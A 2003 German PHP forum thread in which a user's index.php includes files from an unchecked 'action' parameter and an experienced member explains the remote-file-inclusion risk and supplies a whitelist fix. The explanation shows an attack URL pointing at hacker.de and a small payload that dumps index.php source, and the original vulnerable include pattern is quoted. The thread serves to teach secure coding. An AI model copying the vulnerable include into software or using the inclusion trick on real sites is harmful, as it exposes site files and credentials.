Anzeige:
Seite 2 von 5 ErsteErste 1234 ... LetzteLetzte
Ergebnis 16 bis 30 von 72

Thema: News und Gästebuch

  1. #16
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    so powies script funktionieren tadellos ...es gibt nur ein Problem sie lassen sich nicht in die Seite einbinden.

    So baut er framelose Seiten

    http://www.pscript.de/art/artikel.php?id=2

    so:

    baue ich framelose Seiten.

    <?

    if($action == "")

    {

    $action = "news";

    }



    include("$action.php");

    if($action=="gb" or $action=="view" or $action=="new" or $action=="edit" or $edit=="yes" or $action=="help") {
    include("gast.php");
    }


    ?>

    -----

    und deswegen kann ich das script nicht gebrauchen btw. welche Script variante nutzt ihr ?
    ich bastel grad an einer besseren signatur ;)

  2. #17
    Registrierter Benutzer Avatar von Gaert
    Registriert seit
    09.05.2002
    Ort
    Nußloch
    Beiträge
    1.317
    Hallo!

    Dürfte ich mal die URL dazu haben... ich würd gerne deine Seite hacken !

    Das was du da treibst ist sehr gefährlich - wegen solcher skriptereien hat PHP u.a. einen schlechten Ruf (ich weiss jeder fängt klein an)!

    Include NIEMALS (!!!) eine Datei in folgender Art:
    include("$action.php");

    Folgende Tips:

    1. Verwende <?php statt <? wenn du XHTML konforme Webseiten schreiben willst.

    2. Schalte register_globals in der PHP ini AUS (!!!) und verwende $_POST $_GET $_REQUEST etc... Gründe findest du tausendfach in diesem Forum

    3. Überprüfe ganz genau was in der action Variable steht, bevor du irgendwas includest.

    PHP-Code:
    <?php

    //Ein Beispiel:

    $includes = Array("news""gb""home");

    if (!
    in_array($_REQUEST['action'],$indludes)) {
      die(
    "Gibt's net!");
    }
    include(
    $_REQUEST['action'] . ".php");

    ?>
    Alternativ kannst du natürlich auch einen festen Serverpath für deine Includes vergeben um ein wenig mehr sicherheit zu gewährleisten.
    PHP-Code:
    include("./includes/".$_REQUEST['action'].".php"); 
    Im übrigen kapier ich immer noch nicht, warum du das Gästebuch nicht verwenden kannst.
    Angenommen du rufst das Gästebuch folgendermaßen auf:
    index.php?action=gb

    Dann musst du sowas in der Art in die gb.php schreiben:
    PHP-Code:
    <html>
    <header>
    <title>Mein Gästebuch!</title>
    </header>
    <body>
    Das ist mein Gästebuch: <br />
    <?php
    include("powie.php");
    ?>
    </body>
    </html>
    An Skripten verwende ich nur selbstgeschriebenes... powies Skripte machen vielleicht viel her, sind aber IMHO nicht besonders professionell geschrieben.

    Falls du Fragen zu dem was ich geschrieben habe hast, melde dich einfach nochmal.

    Gruß,

    Gaert
    Geändert von Gaert (01-05-2003 um 17:28 Uhr)


  3. #18
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    oha den Link geb ich dir nun NICHT :P
    "
    Include NIEMALS (!!!) eine Datei in folgender Art:
    include("$action.php");
    "

    mmh also

    dannn lieber dein Beispiel

    PHP-Code:
    "
    $includes = Array("news", "gb", "home");



    if (!in_array(
    $_REQUEST['action'],$indludes)) {

      die("
    Gibt's net!");

    }

    include($_REQUEST['
    action'] . ".php");

    wobei action => me.php , chaos.php oder ähnliches?


    das andere war

    wie müssen die Links aussehen ?

    href="index.php?action=me"

    ist ja falsch.
    Geändert von -Sensemann- (01-05-2003 um 22:38 Uhr)
    ich bastel grad an einer besseren signatur ;)

  4. #19
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    http://www.kdec-spratz.de

    von dem jenigen hatte ich das script.

    Wusste nicht das es gefährlich ist!

    wegen dem Gästebuch.

    Da hab ich momentan noch ein einfaches mit txt file
    Geändert von -Sensemann- (01-05-2003 um 22:39 Uhr)
    ich bastel grad an einer besseren signatur ;)

  5. #20
    Registrierter Benutzer Avatar von Gaert
    Registriert seit
    09.05.2002
    Ort
    Nußloch
    Beiträge
    1.317
    Hallo!

    Das Skript von denen scheint nicht ganz so "heiß" zu sein wie deines... wobei ich auch nur den billigsten Trick versucht habe...

    Wieso ist index.php?action=me falsch?
    Wenn du "me" vorher im includes Array registriert hast sollte es auch funktionieren.


  6. #21
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    so schaut die original index.php aus

    und mit deinem script wär ich vor auf jedenfall sicherer ?
    ich bastel grad an einer besseren signatur ;)

  7. #22
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    und was ich letztendlich im browser zu sehen bekomme.
    ich bastel grad an einer besseren signatur ;)

  8. #23
    Registrierter Benutzer Avatar von Gaert
    Registriert seit
    09.05.2002
    Ort
    Nußloch
    Beiträge
    1.317
    Ok.. ok.. ich wusste nicht, dass du das mitten ins HTML baust.

    In dem Fall ist ein Abbruch mit die() unschön...

    machen wirs stattdessen so:
    PHP-Code:
    <?php
    $includes 
    = Array("news""gb""home","me");

    if (!
    in_array($_REQUEST['action'],$includes)) {
      echo 
    "Sorry, aber die Seite existiert nicht!";
    }
    else {
      include(
    $_REQUEST['action'] . ".php");
    }
    ?>
    Welche PHP Version verwendest du denn?
    Es könnte sein, dass in deiner Version $_REQUEST noch nicht unterstützt wird.
    In dem Fall würde ich entweder dringend zum Update raten, oder über $HTTP_GET_VARS['action'] darauf zugreifen.

    Um selbst eine Vorstellung davon zu haben will ich mal verraten, warum das andere nicht sicher ist:

    Angenommen du includest eine Datei folgendermaßen:
    include($action); oder
    include($_REQUEST['action'])
    und du überprüfst nicht was die action ist, dann könnte man einfach mal statt index.php?action="xyz.php" index.php?action=http://hacker.de/hacker.txt übergeben wodurch der inhalt von hacker.txt inlcudet würde und schaden verursachen könnte...
    Ein Beispiel für den Inhalt der hacker.txt wäre:
    <?php
    echo implode(file("index.php"),"<br>\n");
    ?>
    und schwupps hätte man den Inhalt der index.php auf dem Bildschirm! Dadurch könntest du dann auch ganz leicht an die Datenbankpasswörter kommen, oder den kompletten Webspace löschen, Skripte verändern oder sonstwas tun.

    In deinem Fall hätte man genauso vorgehen können, nur hätte man aus hacker.txt hacker.php machen, und die Datei auf einem Server ablegen müssen, der PHP nicht interpretiert.

    Das war jetzt "PHP Hacking for beginners!", natürlich gibts noch andere Mittelchen sachen zu manipulieren, aber das wird kompliziert zu erklären.

    Was lernen wir daraus?
    Stets überprüfen, was von "draussen" reinkommt und saubere Skripte schreiben, sonst können böse Buben dir übel mitspielen.

    Dies gilt besonders auch für Sachen, die du mit einem Datenbank Query weiterverarbeitest...
    Geändert von Gaert (02-05-2003 um 15:46 Uhr)


  9. #24
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    arse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /var/www/chaos/index.php on line 46


    hab php4 installiert. aus der Debian Stable....


    line 46 => include($_REQUEST['action'] . ".php");
    ich bastel grad an einer besseren signatur ;)

  10. #25
    Registrierter Benutzer Avatar von Gaert
    Registriert seit
    09.05.2002
    Ort
    Nußloch
    Beiträge
    1.317
    Hab vergessen den String zuzumachen... ist oben jetzt korrigiert.
    Hab keine Ahnung welche Version das ist... schreib dir mal ein Skript mit:
    PHP-Code:
    <?php
    phpinfo
    ();
    ?>


  11. #26
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    PHP Version 4.1.2

    System Linux lachesis 2.2.20-ideraid #1 SMP Thu Mar 7 04:47:27 MST 2002 i686 unknown
    Build Date Sep 19 2002
    Configure Command '../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs' '--with-regex=php' '--with-config-file-path=/etc/php4/apache' '--disable-rpath' '--disable-debug' '--enable-memory-limit' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db2' '--with-iconv' '--with-ndbm' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets' '--enable-wddx' '--with-xml=/usr' '--with-expat-dir=/usr' '--enable-yp' '--with-zlib' '--without-pgsql' '--disable-static' '--with-layout=GNU' '--with-curl=shared,/usr' '--with-dom=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr' '--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6' '--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr' '--with-imap=shared,/usr' '--with-ldap=shared,/usr' '--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mm' '--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr' '--with-recode=shared,/usr' '--enable-xslt' '--with-xslt-sablot=shared,/usr' '--with-snmp=shared' '--enable-ucd-snmp-hack' '--with-sybase-ct=shared,/usr' '--with-ttf=shared,/usr' '--with-t1lib=shared,/usr'
    Server API Apache
    Virtual Directory Support disabled
    Configuration File (php.ini) Path /etc/php4/apache/php.ini
    ZEND_DEBUG disabled
    Thread Safety disabled
    ich bastel grad an einer besseren signatur ;)

  12. #27
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    danke dir das Script funktionier nun

    und es ist nun sicherer?

    weil du meintest mit ?action sollte man sehr vorsichtig sein.
    ich bastel grad an einer besseren signatur ;)

  13. #28
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    sooooooooo

    jetzt hab ich von meiner hp erstmal die ganzen index.php entfernt.

    die werd ich dann durch die neuen ersetzen.
    ich bastel grad an einer besseren signatur ;)

  14. #29
    Registrierter Benutzer
    Registriert seit
    31.03.2002
    Ort
    Hamburg
    Beiträge
    201
    jeztt noch mal zum script.

    Im Arrey steht alles das drin was erlaubt ist.

    Wenn etwas nicht erlaubt ist, kann es nicht included werden.

    ?
    ich bastel grad an einer besseren signatur ;)

  15. #30
    Registrierter Benutzer Avatar von Gaert
    Registriert seit
    09.05.2002
    Ort
    Nußloch
    Beiträge
    1.317
    Ja, das ist korrekt.

    Nur der action Wert mit einem der Werte im Array übereinstimmt wird etwas inlcuded, alles andere wird mit der Fehlerausgabe quittiert.


Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •